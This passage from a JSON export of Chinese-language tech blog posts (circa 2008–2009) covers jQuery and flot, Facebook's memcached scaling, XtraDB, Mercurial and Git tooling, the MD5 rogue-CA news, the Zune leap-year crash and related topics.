    "body": "我說的是 <a href=\"http://code.google.com/p/flot/\">flot -Attractive Javascript plotting for jQuery</a> 這個 library，利用 <a href=\"http://jquery.com/\">jQuery</a> 畫圖。\r\n\r\n對 IE6/Firefox2/Safari3/Opera9.5 以上的瀏覽器都可以用。(不過，IE 是透過 Canvas 模擬器支援，理論上速度會比較慢。實際用 IE7 測試，簡單的圖速度還蠻快的)\r\n\r\n重點程式碼是：\r\n<blockquote><code>var d1 = [[0, 1], [1, 1], [2, 2], [3, 2], [4.5, 2.5], [5, 2], [6, 3]];<br/>\r\n$.plot($('#placeholder'), [{label: 'test', data: d1, lines: {show: true}}]);</code></blockquote>\r\n出來的圖是：(那個 test page 只是一個 <code>&lt;h1&gt;test page&lt;/h1&gt;</code>，與上面的程式碼無關)\r\n<a href=\"http://www.flickr.com/photos/gslin/3098885413/\"><img src=\"http://farm4.static.flickr.com/3229/3098885413_8995a4e7f0.jpg\" alt=\"\" /></a>\r\n預設的效果就蠻漂亮了 (線條有陰影效果)。\r\n\r\n在<a href=\"http://people.iola.dk/olau/flot/examples/\">官方網站上的範例頁</a>有更多的範例可以看。",
    "title": "flot - 用 jQuery 畫圖的 library"
  },
  {
    "id": "1882",
    "body": "昨天在翻這張圖的時候「感覺」到速度特別快，原本以為是 <a href=\"http://www.zooomr.com/\">Zooomr</a> 的圖片伺服器上了 CDN，後來發現他只是把伺服器 (static.zooomr.com) 搬到日本：\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/3871174/\"><img src=\"http://static.zooomr.com/images/3871174_2add028ca6.jpg\" alt=\"\" /></a>\r\n\r\n不過他的 UI 變得好亂，如果有要求外連速度的人可以考慮看看... XD",
    "title": "Zooomr 的圖片伺服器放到日本..."
  },
  {
    "id": "1883",
    "body": "有機會跟 <a href=\"http://www.sun.com/\">Sun</a> 借測 <a href=\"http://www.sun.com/storage/disk_systems/unified_storage/7110/\">Sun Storage 7110</a>，目前測了半個小時，可以理解為什麼 <a href=\"http://zh.wikipedia.org/wiki/ZFS\">ZFS</a> 會被 <a href=\"http://www.netapp.com/\">NetApp</a> 告了... XD\r\n\r\n因為我已經取得 sales 的同意寫「開箱文」，所以這幾個禮拜 (不知道測多久) 會陸陸續續寫一些出來。\r\n\r\n這是 7110 的狀態頁，這頁不是 Flash/Java，看起來可能是用 <a href=\"http://en.wikipedia.org/wiki/Comet_(programming)\">Comet</a> 做一些效果：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3099197681/\"><img src=\"http://farm4.static.flickr.com/3026/3099197681_3b35757582.jpg\" alt=\"\" /></a>\r\n\r\n美金定價在官方網站有，目前是 USD$10,995，以這種功能來看，光是定價就殺翻了... XD",
    "title": "Sun Storage 7110"
  },
  {
    "id": "1884",
    "body": "目前 <a href=\"http://www.facebook.com/\">Facebook</a> 用了 800 台，共 28TB 的 <a href=\"http://www.danga.com/memcached/\">memcached server</a>：「<a href=\"http://www.facebook.com/note.php?note_id=39391378919\">Scaling memcached at Facebook</a>」。計算上應該是有很多 64GB RAM 這個等級的 server 在撐。(2007 年五月的時候是 200 台 16GB 的機器：<a href=\"http://lists.danga.com/pipermail/memcached/2007-May/004098.html\">Re: Largest production memcached install?</a>)\r\n\r\nFacebook 使用的量夠大，所以花了不少時間找出 memcached 本身的問題。他們把修正後的版本放到 <a href=\"http://github.com/\">Github</a> 上，這陣子應該會慢慢 back-port 回官方版本：「<a href=\"http://github.com/fbmarc/facebook-memcached/tree/master\">Facebooks modifications to memcached for I/O, CPU and memcory scaling</a>」。\r\n\r\n首先是 memcached 用 TCP，但前端的 Web Server (<a href=\"http://httpd.apache.org/\">Apache</a>) 有很多連線，這對 memcached 本身不是問題 (因為使用 <a href=\"http://monkey.org/~provos/libevent/\">libevent</a>)，但每個連線都會消耗一些記憶體 (像是 buffer)，所以 Facebook 改寫 buffer 的部份，以 buffer pool 的方式共用資源。(\"we implemented a per-thread shared connection buffer pool for TCP and UDP sockets\")\r\n\r\n另外是開發 UDP memcached Protocol，用這個方式提高 TCP Protocol 本身的效率問題。但實際在使用時發現 <a href=\"http://www.kernel.org/\">Linux kernel</a> 對於 UDP socket 的 locking mechanism 並不好。治本的方法是修正 Linux kernel 的 UDP socket locking mechanism，不過他們認為工程太浩大，所以改為使用多個 UDP socket 解決這個問題。\r\n\r\n在 appliction level 則是儘量使用 multi-get，盡可能減少封包數量以及延遲時間 (latency)。\r\n\r\n再來是因為封包數量太多，Linux kernel 對於網路處理預設的方式會有過多的 interrupt，所以這部份要調整成 polling-based algorithm (並且配合 interrupt 避免過高的 latency)，以此提高 Network I/O 效率。\r\n\r\n接著發現 memcached 的統計分析是一個 global lock，在 8-core 上會有 20%~30% 的 CPU resource 卡在 lock 上，所以這部份被改寫成 per-thread stat，並且在真正需要產生資料時再加總，避免了 lock 的問題。最後則是發現 Linux kernel 處理 UDP transmit 的 queue 本身也有 lock 問題，這部份的改善則是透過 batch processing 減少 locking 問題，降低 locking 的需求。\r\n\r\n在這些修正後，單台 server 可以從原先的 20k UDP requests/sec 拉到 50k UDP requests/sec。",
    "title": "Facebook 的 memcached"
  },
  {
    "id": "1886",
    "body": "標題不知道怎麼下，先訂這樣...\r\n\r\n我會訂很多 feed 的一個原因是，有時候總是會看到一些有趣的東西。像是 <a href=\"http://aws.typepad.com/aws/\">Amazon Web Services Blog</a> 的文章大多都沒什麼看頭，主要是廣告性質。但有時候總是有一些有趣的東西可以吸收，像是「<a href=\"http://aws.typepad.com/aws/2008/12/steve-from-mindtouch-emailed-me-a-while-back-about-a-really-interesting-write-up-on-how-they-moved-their-wiki-farm-to-amazon.html\">Architecting for the Cloud</a>」這篇文章裡所提到的「<a href=\"http://wiki.developer.mindtouch.com/Wik.is/EC2_Infrastructure\">EC2 Infrastructure</a>」這篇。\r\n\r\n對我而言，MySQL Configuration 這段提到的觀念讓你知道 <a href=\"http://en.wikipedia.org/wiki/XFS\">XFS</a> 上的 <a href=\"http://dev.mysql.com/\">MySQL</a> 要如何備份。雖然他是以 <a href=\"http://aws.amazon.com/ebs/\">Amazon EBS</a> 備份，但同樣的觀念也可以用在 <a href=\"http://www.netapp.com/\">NetApp</a> 或是 <a href=\"http://www.sun.com/storage/disk_systems/unified_storage/\">Sun Storage 7000 Unified Storage Systems</a> 上。(snapshot 的觀念)\r\n\r\n然後是 Postfix configuration 這段所提到的觀念。如果你發信常常會被擋住，有一些公司有提供 SMTP 服務幫你處理。他所提到的 <a href=\"http://authsmtp.com/\">AuthSMTP</a> 變成一個 entry point，我可以用這個站台去其他的論壇找資料比較，看看哪些服務的穩定性比較好，而且價位相對起來比較便宜。",
    "title": "從 EC2 Infrastructure 這篇文章看一些觀念..."
  },
  {
    "id": "1887",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 宣佈新的 Storage Engine，從 <a href=\"http://www.innodb.com/\">InnoDB</a> 修改出的 XtraDB：<a href=\"http://www.mysqlperformanceblog.com/2008/12/16/announcing-percona-xtradb-storage-engine-a-drop-in-replacement-for-standard-innodb/\">Announcing Percona XtraDB Storage Engine: a Drop-in Replacement for Standard InnoDB</a>。\r\n\r\n據他們所宣稱，這個版本會 100% 相容於 <a href=\"http://dev.mysql.com/\">MySQL</a> 內建的 InnoDB，所以他們推薦大家直接換過去用。而 <a href=\"http://ourdelta.org/\">OurDelta</a> 的 5.1 版本會直接內建 XtraDB 作為 InnoDB 的取代品。\r\n\r\n這狠狠的打了 <a href=\"http://www.sun.com/\">Sun</a>/<a href=\"http://www.mysql.com/\">MySQL AB</a> (以及 <a href=\"http://www.oracle.com/\">Oracle</a>) 一巴掌。\r\n\r\n有些有趣的想法可以從 <a href=\"http://jeremy.zawodny.com/\">Jeremy Zawodny</a> (<a href=\"http://oreilly.com/catalog/9780596003067/index.html\">High Performance MySQL 第一版</a>與<a href=\"http://oreilly.com/catalog/9780596101718/\">第二版</a>的作者之一) 的 <a href=\"http://jeremy.zawodny.com/blog/archives/010774.html\">The New MySQL Landscape</a> 這篇文章裡看到。配合 <a href=\"http://slashdot.org/\">Slashdot</a> 的 <a href=\"http://developers.slashdot.org/article.pl?sid=08/12/15/1451256\">Is MySQL's Community Eating the Company?</a> 這篇看就更有感覺了... (尤其是 comments)\r\n\r\n<strong>Update</strong> 2008/12/19：有興趣的人可以看「<a href=\"http://www.mysqlperformanceblog.com/2008/12/18/xtradb-benchmarks-15x-gain/\">XtraDB benchmarks - 1.5X gain in IO-bound load</a>」這篇文章，裡面有一份 benchmarking。(不是很嚴謹的方式)",
    "title": "XtraDB：InnoDB 的取代品"
  },
  {
    "id": "1888",
    "body": "<a href=\"http://www.selenic.com/mercurial/wiki/\">Mercurial</a> 並沒有內建 local branch 的功能，需要安裝 3rd-party extension 模擬 local branch。在官方網站的 wiki 上上有說明這項功能的下載地點與使用方法：<a href=\"http://www.selenic.com/mercurial/wiki/index.cgi/LocalbranchExtension\">Local Branch Extension</a>。\r\n\r\n下載了之後，在自己 <code>~/.hgrc</code> 裡加上：\r\n<blockquote><code>localbranch = /full/path/localbranch.py</code></blockquote>\r\n有個試了好幾次才發現問題的地方：<a href=\"http://www.freebsd.org/\">FreeBSD</a> 上 1.0.2 版的 Mercurial 與最新版的 localbranch extension 會有問題，要配上 2007 年九月的版本才會動。\r\n\r\n不過畢竟是「模擬」出來的，比起 <a href=\"http://git.or.cz/\">Git</a> 還是差不少。",
    "title": "Mercurial 的 LocalbranchExtension"
  },
  {
    "id": "1889",
    "body": "在 <a href=\"http://twitter.com/\">Twitter</a> 上看到 <a href=\"http://ejohn.org/\">John Resig</a> 的訊息，說 <a href=\"http://jquery.com/\">jQuery</a> 不再使用 <a href=\"http://www.quirksmode.org/js/detect.html\">browser detecting</a> 的技巧，完全改用 <a href=\"http://www.quirksmode.org/js/support.html\">Object detecting</a>：「<a href=\"http://twitter.com/jeresig/status/1071111029\">They said it couldn't be done: jQuery no longer uses any browser/useragent sniffing! http://bit.ly/eXrP</a>」\r\n\r\nBrowser detecting 在 <a href=\"http://www.quirksmode.org/\">ppk</a> 的「<a href=\"http://www.quirksmode.org/js/detect.html\">Browser detect</a>」這篇文章裡有提到，經常被用於 (且誤用於) 功能的判斷。比較好的方法是 <a href=\"http://www.quirksmode.org/js/support.html\">Object detecting</a>。\r\n\r\n譬如說，目前 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3 支援 <code>getElementsByClassName()</code>，但 Firefox 2 並不支援。如果你要使用這個功能，應該利用 object detecting 這樣寫：\r\n<blockquote><pre>if (document.getElementsByClassName) {\r\n    // do something with getElementsByClassName\r\n} else {\r\n    // use getElementsByTagName to emulate it\r\n}</pre></blockquote>\r\n而非用 browser detecting：\r\n<blockquote><pre>if (firefox3) {\r\n    // do something with getElementsByClassName\r\n} else {\r\n    // ...\r\n}</pre></blockquote>\r\n除了程式碼比較合理 (乾淨) 外，這樣寫出來的 code 也比較 <a href=\"http://en.wikipedia.org/wiki/Future_proof\">future proofing</a>。這點可以參考 John Resig 的「<a href=\"http://ejohn.org/blog/future-proofing-javascript-libraries/\">Future-Proofing JavaScript Libraries</a>」。",
    "title": "jQuery 不再使用 browser-detecting 的技巧"
  },
  {
    "id": "1890",
    "body": "<a href=\"http://dev.perl.org/perl5/\">Perl 5</a> 將拋棄 Perforce，跳到 <a href=\"http://git.or.cz/\">Git</a> 管理：「<a href=\"http://use.perl.org/article.pl?sid=08/12/22/0830205\">Perl 5 now uses Git for version control</a>」。\r\n\r\n岔個題，最近寫 <a href=\"http://www.php.net/\">PHP</a> 寫的比 <a href=\"http://www.perl.org/\">Perl</a> 多不少，似乎有點生疏了...",
    "title": "Perl 5 將從 Perforce 換到 Git"
  },
  {
    "id": "1891",
    "body": "<a href=\"http://ejohn.org/\">John Resig</a> 丟出 jQuery 1.3 Beta 1 讓大家測試：「Help Test jQuery 1.3 Beta 1」，文章裡面提到新的 Selector Engine，也就是 <a href=\"http://github.com/jeresig/sizzle/tree/master\">Sizzle</a>，速度會再往上提昇。\r\n\r\nSelector Engine 的速度繼續往上提昇當然是好事，不過主要是對於不良習慣的 programmer 會有更大的好處：\r\n<blockquote><pre>var queryString; // 某個很複雜的 css3 selector\r\n$(queryString).html('some string');\r\n$(queryString).css('opacity', '0.5');\r\n$(queryString).show();</pre></blockquote>\r\n這種 code 看了就很想要巴人腦袋... =_=\r\n\r\n另外有很多地方改寫後速度快更多了 (像是 DOM 的寫入操作)，參考「<a href=\"http://ajaxian.com/archives/jquery-13-beta-sizzling-and-feature-testing\">jQuery 1.3 beta: Sizzling and feature testing</a>」這篇。",
    "title": "jQuery 1.3 Beta 1"
  },
  {
    "id": "1893",
    "body": "到公司跟 <a href=\"http://www.manic.tw/blog\">Manic</a> 聊 <a href=\"http://jquery.com/\">jQuery</a> 1.3 的時候才發現少提了一個很重要新功能：Live Event Delegration。\r\n\r\n假設你對 #foo 裡的圖掛上一些 event：\r\n<blockquote><code>$('#foo img').hover(f);</code></blockquote>\r\n接下來你重新讀取 #foo：\r\n<blockquote><code>$('#foo').load('/url/foo.php?page=' + num);</code></blockquote>\r\n在 1.3 之前，本來的事件必須重新再掛一次：\r\n<blockquote><code>$('#foo img').hover(f);</code></blockquote>\r\n在 1.3 後，你可以一開始用 Live Event Delegration 掛上去，他會自己在裡面內容更新後重掛：\r\n<blockquote><code>$('#foo img').live('hover', f);</code></blockquote>\r\n這個功能可以少寫不少 code...\r\n\r\n另外一點是速度問題。有人在 mailing list (Google Groups) 上回報掛上 Sizzle 後，<a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 與 <a href=\"http://www.opera.com/\">Opera</a> 的速度反而比較慢：「<a href=\"http://groups.google.com/group/jquery-dev/browse_thread/thread/bf2a17146c5c1ca5\">Sizzle maybe slowing down DOM manipulations</a>」，這個問題在 <a href=\"http://ejohn.org/\">John Resig</a> 確認後發現是 Sizzle 的 cache 問題後修正了：「<a href=\"http://github.com/jeresig/sizzle/commit/40bd422d65391dbdca856d99c92f3551f1e52ea4\">Removing the caching code for Firefox and Opera - caused a severe negative performance impact for those browsers.</a>」，所以在 1.3 Beta 2 的時候應該會感覺到更快。",
    "title": "jQuery 1.3 的 Live Event Delegration，以及速度問題"
  },
  {
    "id": "1894",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 的消息「<a href=\"http://entertainment.slashdot.org/article.pl?sid=08/12/23/2321242\">Software-Generated Paper Accepted At IEEE Conference</a>」，又是一篇拿 <a href=\"http://pdos.csail.mit.edu/scigen/\">SCIgen - An Automatic CS Paper Generator</a> 亂玩的例子 XD\r\n\r\nPS：我印象中應該有寫過，不過一時間找不到...",
    "title": "機器產生的論文投上 IEEE CSSE 2008"
  },
  {
    "id": "1897",
    "body": "年末了，除了一些年末總是會有的事情外 (像是帳務問題)，最近一直找問題、解決問題、再找問題、再解決問題...\r\n\r\n一個是 <a href=\"http://oss.oetiker.ch/smokeping/\">SmokePing</a> 啟動速度很慢的問題，我在「<a href=\"http://blog.gslin.com/2008/12/smokeping.html\">Smokeping 啟動速度很慢的問題</a>」有提到問題點與 dirty hack 的方法。\r\n\r\n最近想辦法改善 <a href=\"http://www.am-utils.org/\">am-utils</a> (amd) 在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上的穩定度，<a href=\"http://jnlin.org/\">jnlin</a> 看起來頗無奈 XD\r\n\r\n<a href=\"http://dev.mysql.com/\">MySQL</a> <a href=\"http://www.percona.com/\">Percona</a> 版本跑起來相當不錯，不過還是踩中地雷 (5.1 也有的地雷，某些情況下會用到比較奇怪的 index，不僅效率較差，結果居然是錯的...)，得生一組可重製問題的 public dataset 讓 <a href=\"http://www.mysql.com/\">MySQL</a> 官方修正。\r\n\r\n然後秋番也差不多結束了，冬番也快要開始了，這個元旦大概會狂衝進度，把一些覺得還可以的作品看完吧 XD",
    "title": "忙碌..."
  },
  {
    "id": "1898",
    "body": "如果要建立 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 的 image (給 <a href=\"http://syslinux.zytor.com/wiki/index.php/PXELINUX\">PXELinux</a> 用)，通常會參考「<a href=\"http://syslinux.zytor.com/wiki/index.php/FreeBSD_disk_image_creation\">FreeBSD disk image creation</a>」這篇的方法建立。\r\n\r\n不過這個方法很繁雜，所以早就有人寫成 script 了：<a href=\"http://www.midnightbsd.org/cgi-bin/viewvc.cgi/src/nrelease/install-iso2img.sh\">Log of /src/nrelease/install-iso2img.sh</a>，不過這個檔案有點問題，要自己把 <code>=3D</code> 換成 <code>=</code>，另外以 <code>=</code> 結尾的要自己接起來。",
    "title": "PXELinux 的 Image"
  },
  {
    "id": "1899",
    "body": "<strong>Update</strong>：<a href=\"http://www.mozilla.com/\">Mozilla</a> 與 <a href=\"http://www.microsoft.com/\">Micorosft</a> 都發出 security report 了，參考 <a href=\"http://blog.mozilla.com/security/2008/12/30/md5-weaknesses-could-lead-to-certificate-forgery/\">MD5 Weaknesses Could Lead to Certificate Forgery</a> (Mozilla) 與 <a href=\"http://www.microsoft.com/technet/security/advisory/961509.mspx\">Microsoft Security Advisory (961509) Research proves feasibility of collision attacks against MD5</a>。\r\n\r\n標題的 NOW 有兩個意思，一個是強調「已經」，另外一個是「現在」。\r\n\r\n在 2004 與 2005 年的時候，密碼學界相當轟動的事情：王小雲的 MD5 collision。這件事情很有名，但實際上更具破壞性的是 <a href=\"http://en.wikipedia.org/wiki/Arjen_Lenstra\">Arjen Lenstra</a>、王小雲、Benne de Weger 三位所發表的「<a href=\"http://eprint.iacr.org/2005/067\">Colliding X.509 Certificates</a>」，示範如何使用 MD5 collision 湊出一個合法的 X.509 certificate。\r\n\r\n2005 年 Arjen Lenstra 所示範的重點在於「MD5 collision 已經有能力去配合 protocol 變化」，同時說明攻擊其他 protocol 的可行性。\r\n\r\n不過，Arjen Lenstra 的論文似乎沒被重視，還是有 Chain SSL Certificate 是用 RSA-MD5 簽，於是在 2008 年年底，事情就爆發了，有團體拿了兩百台 PS3 硬是產生出一組合法的 Chain CA：「<a href=\"http://www.win.tue.nl/hashclash/rogue-ca/\">MD5 considered harmful today</a>」。\r\n\r\n換句話說，有了這組 Chain CA private key 的人，他可以自己建立任何一個站台的 SSL key (像是 www.paypal.com) 再自己簽。簽出來的 Certificate 可以被所有主流瀏覽器認為合法的 SSL Certificate。就像下面這張圖他們簽了 127.0.0.1：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3152494485/\"><img src=\"http://farm4.static.flickr.com/3256/3152494485_22a2a4fdcb.jpg\" alt=\"\" /></a>\r\n\r\n大爆走了... IE 可能過陣子就會上 security update 把 RSA-MD5 擋下來，不過這樣就會有一堆站台爛掉。而這陣子這幾家還在用 MD5 的公司可能會忙著重簽？\r\n\r\n暫時性的 RSA-SHA1 不是一個好方法 (雖然 SHA1 collision 還不到可接受的時間範圍)，而 RSA-SHA2 還在 <a href=\"http://tools.ietf.org/html/draft-ietf-pkix-sha2-dsa-ecdsa-05\">draft</a> (目前是 05)，看起來大家要頭痛一陣子了...",
    "title": "SSL broken *NOW*"
  },
  {
    "id": "1901",
    "body": "如標題所說的 <a href=\"http://www.zune.net/\">Microsoft Zunes</a> 大規模當機 (<a href=\"http://slashdot.org/\">Slashdot</a>：<a href=\"http://it.slashdot.org/article.pl?sid=08/12/31/1428254\">Microsoft Zunes Committing Mass Suicide</a>)，原因是 2006 年版本的 Zunes 無法正確處理 2008/12/31 的「<a href=\"http://zh.wikipedia.org/wiki/%E9%97%B0%E7%A7%92\">閏秒</a>」而當掉。\r\n\r\n微軟官方的回應「<a href=\"http://zuneinsider.com/archive/2008/12/31/30gb-zune-issues-official-update.aspx\">30gb zune issues -- official update</a>」也很妙，直接說 2009/1/1 就會正常了，至於更新軔體的問題：\r\n<blockquote>Q:  Will you update the firmware before the next leap year (2012)?\r\nYes.</blockquote>\r\n擺明就是不打算更新... XD (2012 年的時候也不需要更新了？)",
    "title": "Microsoft Zunes 大規模當機"
  },
  {
    "id": "1902",
    "body": "一直以為 <a href=\"http://www.fastcgi.com/\">mod_fastcgi</a> 被 <a href=\"http://www.debian.org/\">Debian</a> 從 repository 裡拿掉，後來才發現是在 non-free 裡面，只是因為新灌的 Debian 沒有把 non-free 加上去所以找不到。\r\n\r\n用了一陣子的 <a href=\"http://fastcgi.coremail.cn/\">mod_fcgid</a>，現在換回 mod_fastcgi 看看有沒有比較穩定囉。",
    "title": "從 mod_fcgid 換回 mod_fastcgi"
  },
  {
    "id": "1903",
    "body": "參考下面的影片 XDDDD\r\n\r\n<object width=\"425\" height=\"344\"><param name=\"movie\" value=\"http://www.youtube.com/v/tDacjrSCeq4&hl=en&fs=1\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/tDacjrSCeq4&hl=en&fs=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"425\" height=\"344\"></embed></object>\r\n\r\n來自 <a href=\"http://slashdot.org/\">Slashdot</a> 的「<a href=\"http://hardware.slashdot.org/article.pl?sid=09/01/02/0626201\">Why Not To Shout At Your Disk Array</a>」。",
    "title": "別對磁碟陣列大喊..."
  },
  {
    "id": "1904",
    "body": "在「<a href=\"http://googlesystem.blogspot.com/2009/01/update-vulnerable-programs-from-your.html\">Update Vulnerable Programs from Your Computer</a>」這篇看到 <a href=\"http://secunia.com/\">Secunia</a> 有一個工具，可以幫你掃系統內已知軟體的安全性，叫做「<a href=\"http://secunia.com/vulnerability_scanning/personal/\">Secunia Personal Security Inspector</a>」。\r\n\r\n像是我的電腦裡的 IE7 還是用有問題的 Adobe Flash Player 9，就被抓出來要求更新：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3163225153/\"><img src=\"http://farm4.static.flickr.com/3267/3163225153_7d16e38d75.jpg\" alt=\"\" /></a>\r\n\r\n這套軟體可以丟在右下角的 icon，讓他定時檢查系統內的軟體是否有問題，算是相當好用。",
    "title": "自動掃描系統內有安全漏洞的軟體 Secunia Personal Security Inspector"
  },
  {
    "id": "1905",
    "body": "最近國外的論壇傳言，如果用 IE6 登入 <a href=\"http://mail.google.com/\">Gmail</a>，會出現希望使用者升級到 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 或是 <a href=\"http://www.google.com/chrome\">Chrome</a> 的訊息。\r\n\r\n這個消息出來好幾天了，但我用 IE6 登入 Gmail 卻試不出來...\r\n\r\n想看訊息的人可以參考「<a href=\"http://googlesystem.blogspot.com/2009/01/upgrading-from-internet-explorer-6.html\">Upgrading from Internet Explorer 6</a>」這篇文章裡所抓下來的圖。有人有看到類似的畫面嗎？",
    "title": "Gmail 希望 IE6 使用者升級"
  },
  {
    "id": "1907",
    "body": "<a href=\"http://www.techcrunch.com/\">TechCrunch</a> 的大頭目 <a href=\"http://en.wikipedia.org/wiki/Michael_Arrington\">Michael Arrington</a> 提出 <a href=\"http://www.apple.com/iphone/\">iPhone</a>、<a href=\"http://www.myspace.com/\">MySpace</a>、<a href=\"http://www.facebook.com/\">Facebook</a> 在 2009 年的目標會是「小額付款」：「<a href=\"http://www.techcrunch.com/2009/01/02/iphone-myspace-facebook-race-to-micropayments-in-2009/\">iPhone, MySpace, Facebook Race To Micropayments In 2009</a>」。\r\n\r\n<a href=\"http://www.apple.com/\">Apple</a> 在這塊看起來比起其他兩家領先不少，iPhone 上面的付費機制已經有個形了。\r\n\r\nFacebook 與 MySpace 分別在去年都宣佈要做這項服務，但如同 Michael Arrington 所說的，到現在還沒出來應該是遇到金流的老問題：詐騙、退款、安全問題。Apple 在 <a href=\"http://www.apple.com/itunes/\">iTunes</a> 學到不少經驗使得他們進度超越 Facebook/MySpace 不少。\r\n\r\n回過頭來比較台灣的環境，iPhone/MySpace/Facebook 是先養平台 (先有內容)，然後再自己建立金流環境，並在上面獲利。國內則是有業者想要自己做金流，然後希望平台去使用他們的金流系統，這些業者的成敗就可想而知了。",
    "title": "2009 年，iPhone、MySpace、Facebook 的目標？"
  },
  {
    "id": "1909",
    "body": "這套軟體是在「<a href=\"http://www.techcrunch.com/2009/01/03/power-twitter-for-firefox-inline-media-integrated-search-and-a-lot-more/\">Power Twitter: Inline Media, Integrated Search And A Lot More</a>」上面看到的。\r\n\r\n<a href=\"https://addons.mozilla.org/firefox/addon/9591\">Power Twitter</a> 是一個 <a href=\"http://addons.mozilla.org/\">Firefox Extension</a>，改善 <a href=\"http://twitter.com/\">Twitter</a> 本身就有提供但是動線不佳的功能，用起來感覺還不錯。我自己在 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 3.1 上也可以跑。\r\n\r\n主要的幾個功能是將 <a href=\"http://search.twitter.com/\">search.twitter.com</a> 的功能整合進來，像是旁邊的搜尋列，以及滑鼠移動到頭像上所展開的視窗。裝完後其實跟原來的樣子差不多，但用起來方便多了：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3165694663/\"><img src=\"http://farm2.static.flickr.com/1013/3165694663_9ee696ff6c.jpg\" alt=\"\" /></a>",
    "title": "Power Twitter"
  },
  {
    "id": "1910",
    "body": "會想要用 <a href=\"http://en.wikipedia.org/wiki/WebDAV\">WebDAV</a> 存取 <a href=\"http://git.or.cz/\">Git</a> 是因為目前在用的 <a href=\"http://subversion.tigris.org/\">Subversion</a> 與 <a href=\"http://www.selenic.com/mercurial/\">Mercurial</a> 都可以掛在 <a href=\"http://httpd.apache.org/\">Apache</a> 下，透過 <a href=\"http://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol\">LDAP</a> 認證。\r\n\r\n用 <a href=\"http://www.google.com/\">Google</a> 找資料通常會找到 kernel.org 的「<a href=\"http://www.kernel.org/pub/software/scm/git/docs/howto/setup-git-server-over-http.txt\">Setting up a git repository which can be pushed into and pulled from over HTTP(S).</a>」這篇，實際上也只需要看這篇，因為這篇沒提到的東西都做不到... (炸)\r\n\r\n照著 kernel.org 那篇的作法應該都沒問題，最大的麻煩在於必須把密碼寫到 <code>~/.netrc</code> 裡，不寫的話不會像 Mercurial 會給提示要求輸入密碼，反而當作是沒有密碼送出去，於是 server 端就會看到不允許空密碼的錯誤訊息。\r\n\r\n我實在不喜歡把密碼寫到檔案裡，看來還是得試看看以 ssh 認證...",
    "title": "使用 WebDAV 存取 Git"
  },
  {
    "id": "1911",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 看到 <a href=\"http://www.zune.net/\">Zune</a> 當機的原始程式碼被釋出的消息：「<a href=\"http://slashdot.org/article.pl?sid=09/01/04/2034248\">The Exact Cause of the Zune Meltdown</a>」。\r\n\r\n程式碼在 <a href=\"http://pastie.org/349916\">#349916</a> 這裡，<del>會當機主要是因為沒有考慮到閏秒</del>。(最少在 ConvertSeconds、SetTime 以及 CheckRealTime 這三個函式有這個問題)\r\n\r\n<strong>Update</strong>：會當機的原因請參考 comment 裡 kcwu 寫的說明。",
    "title": "Zune 當機的程式碼被釋出..."
  },
  {
    "id": "1912",
    "body": "在 <a href=\"http://www.apple.com/\">Apple</a> 官方網站 <a href=\"http://en.wikipedia.org/wiki/Steve_Jobs\">Steve Jobs</a> 解釋為什麼他不會參與這次 Macworld：「<a href=\"http://www.apple.com/pr/library/2009/01/05sjletter.html\">Letter from Apple CEO Steve Jobs</a>」。\r\n\r\n主要的原因如同大家之前所傳言的健康問題。由於荷爾蒙失調造成體重降低，他的醫生希望他花多一點時間靜養。",
    "title": "Steve Jobs 公開說明健康狀況"
  },
  {
    "id": "1913",
    "body": "睡不著，爬起來換個 Theme，也許過幾天心情好又會換回來...\r\n\r\n這次換 Theme 順便改了 CSS 的部份 (原來這個 Theme 是專門設計給 1024x768)，螢幕寬度夠的人在看程式碼之類的內容會比較舒服。不過文字的部份應該會蠻怪的，因為每個段落都不長...",
    "title": "換 Theme"
  },
  {
    "id": "1915",
    "body": "大清早起來就看到 <a href=\"http://ejohn.org/\">John Resig</a> 在 <a href=\"http://twitter.com/\">Twitter</a> 上說他弄了一套 <a href=\"http://en.wikipedia.org/wiki/Settlers_of_Catan\">Settlers of Catan</a>：「<a href=\"http://twitter.com/jeresig/status/1100745373\">My copy of the Catan Card Game arrived today. It looks like a ton of fun (and based upon the review s, it should be).</a>」\r\n\r\n翻資料的時候在 <a href=\"http://www.wikipedia.org/\">Wikipedia</a> 上看到超大顆的 Catan... XDDD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3175827384/\"><img src=\"http://farm4.static.flickr.com/3079/3175827384_d13f86609a.jpg\" alt=\"\" /></a>",
    "title": "卡坦島..."
  },
  {
    "id": "1916",
    "body": "照著「<a href=\"http://blog.xdite.net/?p=765\">在 Linux 上架設 Screenshot Service</a>」這篇講的方法在 <a href=\"http://www.debian.org/\">Debian</a> 上灌。<a href=\"http://blog.xdite.net/\">xdite</a> 是在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上灌，結果像 <a href=\"http://www.adobe.com/products/flashplayer/\">Flash Player</a> 這類 Debian policy 原因而超麻煩 (加上平台是 amd64)，吃了不少苦頭，不過也測出一些東西，可以確保安裝出來的玩具比較正常。\r\n\r\n透過 <a href=\"http://sourceforge.net/projects/xming\">Xming</a>，有很多地方可以 tune：\r\n<ul>\r\n\t<li>設定 Firefox 在 shutdown 時把 history/cookie 之類的資料清空，做網頁截圖的環境會比較乾淨。</li>\r\n\t<li>設定 about:config，將 HTTP pipeline 打開，以及其他效能設定的東西調好。</li>\r\n\t<li>裝 Plugin 的部份就不用像 xdite 那樣，在 Windows 上裝好再惡搞傳上去... XD</li>\r\n</ul>\r\n這是 Xming 的畫面：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/3175571907/\"><img src=\"http://farm4.static.flickr.com/3387/3175571907_66eaf29d88.jpg\" alt=\"\" 